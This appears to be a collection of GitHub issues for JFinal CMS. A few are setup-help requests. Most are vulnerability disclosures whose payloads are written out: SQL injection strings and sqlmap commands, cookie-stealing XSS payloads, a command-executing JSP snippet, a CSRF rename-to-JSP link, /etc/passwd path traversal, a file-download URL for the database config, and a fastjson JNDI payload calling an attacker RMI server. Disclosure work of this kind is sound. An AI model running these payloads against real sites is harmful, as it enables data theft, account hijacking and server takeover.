	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool.checkoutPooledConnection(C3P0PooledConnectionPool.java:525)
	... 42 more

May 07, 2019 5:56:52 PM org.apache.catalina.core.StandardContext start
SEVERE: Error filterStart
May 07, 2019 5:56:52 PM org.apache.catalina.core.StandardContext start
SEVERE: Context [/jfinal_cms] startup failed due to previous errors
2019-05-07 17:56:52 WARN [com.mchange.v2.resourcepool.BasicResourcePool.run] - com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@2c27b8bf -- Acquisition Attempt Failed!!! Clearing pending acquires. While trying to acquire a needed new resource, we failed to succeed more than the maximum number of allowed acquisition attempts (30). Last acquisition attempt exception: 
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown database 'jflyfox_cms'
	at jdk.internal.reflect.GeneratedConstructorAccessor28.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.Util.getInstance(Util.java:372)
	at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:980)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3835)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3771)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:870)
	at com.mysql.jdbc.MysqlIO.proceedHandshakeWithPluggableAuthentication(MysqlIO.java:1659)
	at com.mysql.jdbc.MysqlIO.doHandshake(MysqlIO.java:1206)
	at com.mysql.jdbc.ConnectionImpl.coreConnect(ConnectionImpl.java:2239)
	at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2270)
	at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2069)
	at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:794)
	at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:44)
	at jdk.internal.reflect.GeneratedConstructorAccessor25.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:399)
	at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:325)
	at com.mchange.v2.c3p0.DriverManagerDataSource.getConnection(DriverManagerDataSource.java:134)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:182)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:171)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool$1PooledConnectionResourcePoolManager.acquireResource(C3P0PooledConnectionPool.java:137)
	at com.mchange.v2.resourcepool.BasicResourcePool.doAcquire(BasicResourcePool.java:1014)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$800(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1810)
	at com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)
2019-05-07 17:56:52 WARN [com.mchange.v2.resourcepool.BasicResourcePool.run] - com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask@16a40d37 -- Acquisition Attempt Failed!!! Clearing pending acquires. While trying to acquire a needed new resource, we failed to succeed more than the maximum number of allowed acquisition attempts (30). Last acquisition attempt exception: 
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown database 'jflyfox_cms'
	at jdk.internal.reflect.GeneratedConstructorAccessor28.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.Util.getInstance(Util.java:372)
	at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:980)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3835)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3771)
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:870)
	at com.mysql.jdbc.MysqlIO.proceedHandshakeWithPluggableAuthentication(MysqlIO.java:1659)
	at com.mysql.jdbc.MysqlIO.doHandshake(MysqlIO.java:1206)
	at com.mysql.jdbc.ConnectionImpl.coreConnect(ConnectionImpl.java:2239)
	at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2270)
	at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2069)
	at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:794)
	at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:44)
	at jdk.internal.reflect.GeneratedConstructorAccessor25.newInstance(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481)
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:389)
	at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:399)
	at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:325)
	at com.mchange.v2.c3p0.DriverManagerDataSource.getConnection(DriverManagerDataSource.java:134)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:182)
	at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection(WrapperConnectionPoolDataSource.java:171)
	at com.mchange.v2.c3p0.impl.C3P0PooledConnectionPool$1PooledConnectionResourcePoolManager.acquireResource(C3P0PooledConnectionPool.java:137)
	at com.mchange.v2.resourcepool.BasicResourcePool.doAcquire(BasicResourcePool.java:1014)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$800(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1810)
	at com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run(ThreadPoolAsynchronousRunner.java:547)
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesJdbc
SEVERE: The web application [/jfinal_cms] registered the JBDC driver [com.mysql.jdbc.Driver] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesJdbc
SEVERE: The web application [/jfinal_cms] registered the JBDC driver [com.mysql.fabric.jdbc.FabricMySQLDriver] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Timer-0] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Abandoned connection cleanup thread] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#0] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#1] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-#2] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Dispatch-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
May 07, 2019 5:56:53 PM org.apache.catalina.loader.WebappClassLoader clearReferencesThreads
SEVERE: The web application [/jfinal_cms] appears to have started a thread named [Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f] but has failed to stop it. This is very likely to create a memory leak.
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.catalina.loader.WebappClassLoader (file:/root/.m2/repository/org/apache/tomcat/catalina/6.0.29/catalina-6.0.29.jar) to field java.lang.Thread.threadLocals
WARNING: Please consider reporting this to the maintainers of org.apache.catalina.loader.WebappClassLoader
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
Exception in thread "Timer-0" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool$CullTask.run(BasicResourcePool.java:1934)
	at java.base/java.util.TimerThread.mainLoop(Timer.java:556)
	at java.base/java.util.TimerThread.run(Timer.java:506)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)
Exception in thread "Task-Thread-for-com.mchange.v2.async.ThreadPerTaskAsynchronousRunner@6d60012f" java.lang.NullPointerException
	at com.mchange.v2.log.log4j.Log4jMLog$Log4jMLogger.isLoggable(Log4jMLog.java:257)
	at com.mchange.v2.resourcepool.BasicResourcePool.decrementPendingAcquires(BasicResourcePool.java:421)
	at com.mchange.v2.resourcepool.BasicResourcePool.access$900(BasicResourcePool.java:32)
	at com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run(BasicResourcePool.java:1887)
	at com.mchange.v2.async.ThreadPerTaskAsynchronousRunner$TaskThread.run(ThreadPerTaskAsynchronousRunner.java:255)

db.properties 文件

#\u6570\u636e\u5e93:oracle postgre
db_type=mysql

mysql.jdbcUrl =jdbc:mysql://127.0.0.1:3306/cms?characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
mysql.user = root
mysql.password = 123456
mysql.driverClass = com.mysql.jdbc.Driver

数据库

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1043
Server version: 5.7.18-log MySQL Community Server (GPL)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use cms;
Database changed
MySQL [cms]> show tables;
+------------------------+
| Tables_in_cms          |
+------------------------+
| sys_config             |
| sys_department         |
| sys_dict               |
| sys_dict_detail        |
| sys_file_upload        |
| sys_log                |
| sys_menu               |
| sys_role               |
| sys_role_menu          |
| sys_user               |
| sys_user_role          |
| tb_advice_feedback     |
| tb_article             |
| tb_articlelike         |
| tb_comment             |
| tb_contact             |
| tb_error               |
| tb_folder              |
| tb_folder_notice       |
| tb_folder_roll_picture |
| tb_friendlylink        |
| tb_image               |
| tb_image_album         |
| tb_image_tags          |
| tb_pageview            |
| tb_site                |
| tb_tags                |
| tb_video               |
| tb_video_album         |
| tb_video_tags          |
+------------------------+
30 rows in set (0.00 sec)

MySQL [cms]> 

请您帮忙解决，谢谢！

SQL injection in user role listing

admin login required.

RoleController.java

public void list() {
		SysRole model = getModelByAttr(SysRole.class);

		SQLUtils sql = new SQLUtils(" from sys_role t where 1=1 ");
		if (model.getAttrValues().length != 0) {
			sql.setAlias("t");
			// 查询条件
			sql.whereLike("name", model.getStr("name"));
		}

SQLUtils.java

	public void whereLike(String attrName, String value) {
		if (StrUtils.isNotEmpty(value)) {
			sqlBuffer.append(" AND " + getAttrName(attrName) + " LIKE '%").append(value).append("%'");
		}
	}

query here doesn't go through ORM nor data binding procedures.
full error msg appears in response too.

most queries DO go through data binding procedures.

The whereLike implementation is vulnerable to SQL injection.

EDIT: add more detail

[CVE-2022-28505] SQL injection vulnerability exists in JFinal CMS 5.1.0

SQL injection vulnerability exists in JFinal CMS 5.1.0

Analysis

The vulnerability appears in lines 23-47 of the com.jflyfox.system.log.LogController.java

Here call SQLUtils to query with the following statement:

select count(*)  from sys_log t where 1=1

When the length of model.getAttrValues() is not equal to 0, go into the if branch and call the whereEquals() method to concatenate
whereEquals()：

The SQL statement after concatenation is as follows:

select count(*)  from sys_log t where 1=1 AND t.log_type = 1 

Moving on, the orderBy parameter is concatenated to the end of the SQL statement
String orderBy = getBaseForm().getorDerby (); defines the source of the orderBy argument
getBaseForm():

getOrderBy()：

The orderBy parameter is the form.OrderColumn parameter passed from the front end
So you can construct payload to exploit this vulnerability

Exploit

Maven Startup Environment
Vulnerability address: /jfinal_cms/system/log/list
Administrator login is required. The default account password is admin:admin123

Injection parameters: form.orderColumn
payload：) AND (SELECT 6361 FROM (SELECT(SLEEP(5)))tAVU)-- woqr

SQLMAP Injection：

XSS vulnerability stored in the publish blog module of Jfinal_cms V5.1.0

There is a stored XSS vulnerability in JFinal_cms 's publish blog module. An attacker can insert malicious XSS code into the keyword field. When the user views the content of the article in the foreground, the malicious XSS code is triggered successfully.

payload: " onmouseover="alert(document.cookie)

Successfully executed malicious XSS code:

XSS vulnerability exists in jfinal_cms V5.1.0

Summary

There is XSS vulnerability below!
The reason for the vulnerability is that there is no filter on user input. According to the guidelines of CMS, We can create a user, and we can control the user's account number, password and email and so on.....

Exploition

After, There are many ways to trigger the vulnerability! The one is that we can make a comment and wait other users to click the user created by ourselves. The another one can get admin's secrect util admin login.

OK! We will create a user at first.

Press the submit button, we get a alert below

we can create a normal user account via this way, and then we can update the information

After we update the user's information, wo would wait!
When the admin user login, we can get its secrect!

SQLI vul1 in jfinal_cms 5.1.0

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

final injection result with sqlmap

There is a SQL injection vulnerability exists in JFinal CMS 5.1.0

the route is /jfinal_cms/system/user/list

jfinal_ CMS 5.1.0 SQL injection

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

I try to grab packets
Inject at orderby

Discovery injection

Jfinal_ CMS V5.1.0 has login.jsp written to RCE

There is a filter that by default denies direct access to JSP files.

The login.jsp in web.xml's means that accessing the homepage module can directly invoke login.jsp.

The backend template management module can manage files under the web directory. It can modify the content of login.jsp through an interface call, inserting malicious code into the content of login.jsp.

Inject malicious code into login.jsp to execute commands and write the command execution result into mkodp_1.txt.


Accessing http://ip:port/jfinal_cms/admin/ will trigger the code inside login.jsp, leading to command execution and writing to mkodp_1.txt.

Repeat the above process to execute the "ip a" command.

The modified content of login.jsp is as follows:
`<%@ page language="java" pageEncoding="UTF-8"%>
<%
// 生成一个随机的文件名
String randomFileName = "mkodp_1.txt";

// 获取当前 JSP 文件所在的真实路径
String currentPath = application.getRealPath("/");

// 构建文件的绝对路径
String filePath = currentPath + randomFileName;

try {
    String command = "whoami"; // 修改为你想要执行的命令
    java.util.Scanner scanner = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    String result = scanner.hasNext() ? scanner.next() : "";
    scanner.close();
    
    // 将命令回显存储在变量中
    String commandOutput = result;
    // 创建文件并写入内容
    java.io.FileWriter fileWriter = new java.io.FileWriter(filePath);
    fileWriter.write(commandOutput);
    fileWriter.close();
    
    out.println("文件已生成：" + filePath);
} catch (Exception e) {
    out.println("出现错误：" + e.getMessage());
}

%>
<%
response.sendRedirect("login");
%>
`

Some SQL injection vulnerabilities exists in JFinal CMS 5.1.0

Administrator login is required. The default account password is admin:admin123

admin/article/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successful injection at route admin/article/list

admin/article/list_approve

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/article/list_approve

admin/comment

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/comment/list

admin/contact/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/contact/list

admin/foldernotice/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/foldernotice/list

admin/folderrollpicture/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/folderrollpicture/list

admin/friendlylink/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/friendlylink/list

admin/imagealbum/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/imagealbum/list

admin/image/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/image/list

admin/site/list

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

Successfully injected at route admin/site/list

下载模块

这个包含下载模块吗？

java.lang.NoClassDefFoundError

java.lang.NoClassDefFoundError: com/mchange/v2/c3p0/ComboPooledDataSource

CSRF to remote code execution

The whole site is vulnerable to CSRF attack, as well as a critical administrative IO operation is by design merely submitted by a GET.

Create post with webshell ends in an image suffix. (eg. PNG)
Then get image's url using browser. (eg. http://asite.com/jfinal_cms/jflyfox/bbs/ueditor/image/20190404/20190404_203723_454016.png)

Place link below where an online admin user could possibly see and/or click.

http://asite.com/jfinal_cms/admin/filemanager?mode=rename&old=/jfinal_cms/jflyfox/bbs/ueditor/image/20190404/20190404_203723_454016.png&new=test.jsp&config=filemanager.config.js&a=fake_image.png

(path will be pre-pend base_dir, deploy directory difference won't interfere the exploit)
Hackers can embed this into a src attribute making it a non-interactive exploit.

File would be renamed to test.jsp in a static resource folder that is accessible to everyone after valid admin viewing this page. .jsp syntax is supported by default.

jfinal_ CMS 5.1.0 has a SQL injection

first you can use the URL

http://your IP/jfinal_cms/system/menu/list

then you can use the shell
'''
sqlmap -u http://your IP/jfinal_cms/system/menu/list --thread 8 --batch --smart --random-agent --data "form.orderColumn=*&form.orderAsc=&attr.name=&totalRecords=31&pageNo=1&pageSize=20&length=10" --cookie "your cookie"
'''

sql咨询

是否有最新sql文档提供，万分感谢🙏

Unsanitized 500 error message causing reflective XSS

Navigate to http://mtg.jflyfox.com/front/article/378''%3Csvg%3E%3Chtml%3E%3Cscript%3Ealert(1)%3Cbr%3E gives an alert() popup

There happens to be a few character limits in payload composing not by design (which indeed provides some sort of protection to it), <space>,+,%0d,%0a,<slash>,%2f won't be working in there. As everything was still in a url-encoded format and slashes were caught by routing mechanism in advance causing a 404.

Tested on Microsoft Edge 42.17134.1.0.

Unsanitized comments causing a stored XSS vulnerability

Navigate to any post and make comment (login required) as below </span><svg/onload=alert('xss')>
Refresh that page and users will be popped with an alert() dialogue.

http://mtg.jflyfox.com/front/article/4615.html

XSS vulnerability2 in jfinal_cms 5.1.0

There is a stored XSS vulnerability in JFinal_cms 's publish blog module. An attacker could insert malicious XSS code into the content of the blog post. When users and administrators view the blog post, the malicious XSS code is triggered successfully.

First register a user to test, then go to the submit blog post page and insert malicious XSS code in the content field

Payload:%3Cp%3Etest2%3C%2Fp%3E%3Cimg%20src%3D%22x%22%20onerror%3Dalert(document.cookie)%3E%3C%2Fp%3E

Submit a blog post

Modification of data packages via Burp Suite

Change the model.content field to Payload

Successfully executed malicious XSS code:

jfinal CMS v5.1.0 has a arbitrary file reading vulnerability exists

Project address：
https://github.com/jflyfox/jfinal_cms
official website：
http://mtg.jflyfox.com/
Enter the background, edit /template/includes/jquery.html in the template management , poc is as follows
${printFile('../../../../../../../../../../../../../../../etc/passwd')}

Reopen the homepage http://localhost:8877/jfinal_cms/ , can see /etc/passwd

SQLI vul2 in jfinal_cms 5.1.0

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

final injection result with sqlmap

tested on latest version jfinal_cms 5.1.0

jfinal_cms.war中没有主清单属性

PS D:\cms> mvn clean package install
PS D:\cms\target> java -jar jfinal_cms.war
jfinal_cms.war中没有主清单属性

XSS vulnerability in Jfinal_cms V5.1.0

There is a stored XSS vulnerability in JFinal_cms 's publish blog module. The attacker can insert malicious XSS code into the user's note information, which will trigger malicious XSS code when other users visit the malicious user's personal homepage.

payload:</p><script>alert(document.cookie)</script><p>


Successfully executed malicious XSS code:

项目运行时报503错误

请问503错误可能是哪里出的问题? 我用的intellij idea运行, 安装了Apache jetty, 打开地址http://localhost:9095/jfinal_cms/admin/home/ 或http://localhost:9095/jfinal_cms/index.html 都出现503错误

前后端加密做了吗?传输中加密做了吗

前后端加密做了吗?传输中加密做了吗

File reading

You can read any file in the web directory, including the database configuration file And all files in the root directory
poc:http://ip/admin/filemanager?mode=download&path=/web-inf/classes/conf/db.properties&config=filemanager.config.js

Administrator Interface Command Execution Vulnerability

Vulnerability summary

A command execution vulnerability exists in jfinal_cms 5.0.1

JDK version requirements：

• JDK version used based on RMI<=6u141, 7u131, 8u121
• JDK version used based on LDAP<=6u211, 7u201, 8u191.

jfinal_cms version：5.0.1

fastjson version：1.2.28

vulnerability recurrence

JDK version used in the test: JDK8u101

Run the tool on kali, start rmi and ldap services

https://github.com/feihong-cs/JNDIExploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

replace rmi or ldap address in payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.248.128:1099/6dxg2x",
        "autoCommit":true
    }
}

Create the config.json file and copy the payload in

Log in to the Backstage management system, select template management

default password:admin/admin123

Click config.json

Click Replace file

Replace with the config.json file containing the payload just created

Visit /ueditor, execute the command to pop up the calculator

http://localhost:8080/jfinal_cms/ueditor

Vulnerability analysis

com.jflyfox.component.controller.Ueditor

The ActionEnter class is instantiated in the index method of the /ueditor route

com.baidu.ueditor.ActionEnter#ActionEnter

The ConfigManager class is instantiated in the constructor of the ActionEnter class

com.baidu.ueditor.ConfigManager#ConfigManager

The construction method of ConfigManager calls initEnv()

com.baidu.ueditor.ConfigManager#initEnv

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

com.baidu.ueditor.ConfigManager

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

There is a SQL injection vulnerability exists in JFinal CMS 5.1.0 again

you can use the route /jfinal_cms/system/role/list
then use sqlmap attack the interface
like this :

Arbitrary file upload vulnerability

admin login required.

Under the template interface in the administrator interface, upload a normal file 1.txt burp intercept request package modify the file name to 1.jsp or any other suffix. Including but not only with JSP suffixes, EXE, C, PY, and more!

---

我能否迁移到 Spring MVC 以及是否现实

您好！

如果我需要把 jfinal_cms 的底层 jfinal 框架替换为 spring mvc，代价会不会很大，以及您有何建议？

jfinal CMS v5.1.0 has a command execution vulnerability exists

jfinal_cms version：5.1.0
JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

The ConfigManager class is instantiated in the constructor of the ActionEnter class

The construction method of ConfigManager calls initEnv()

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

Run the tool on kali

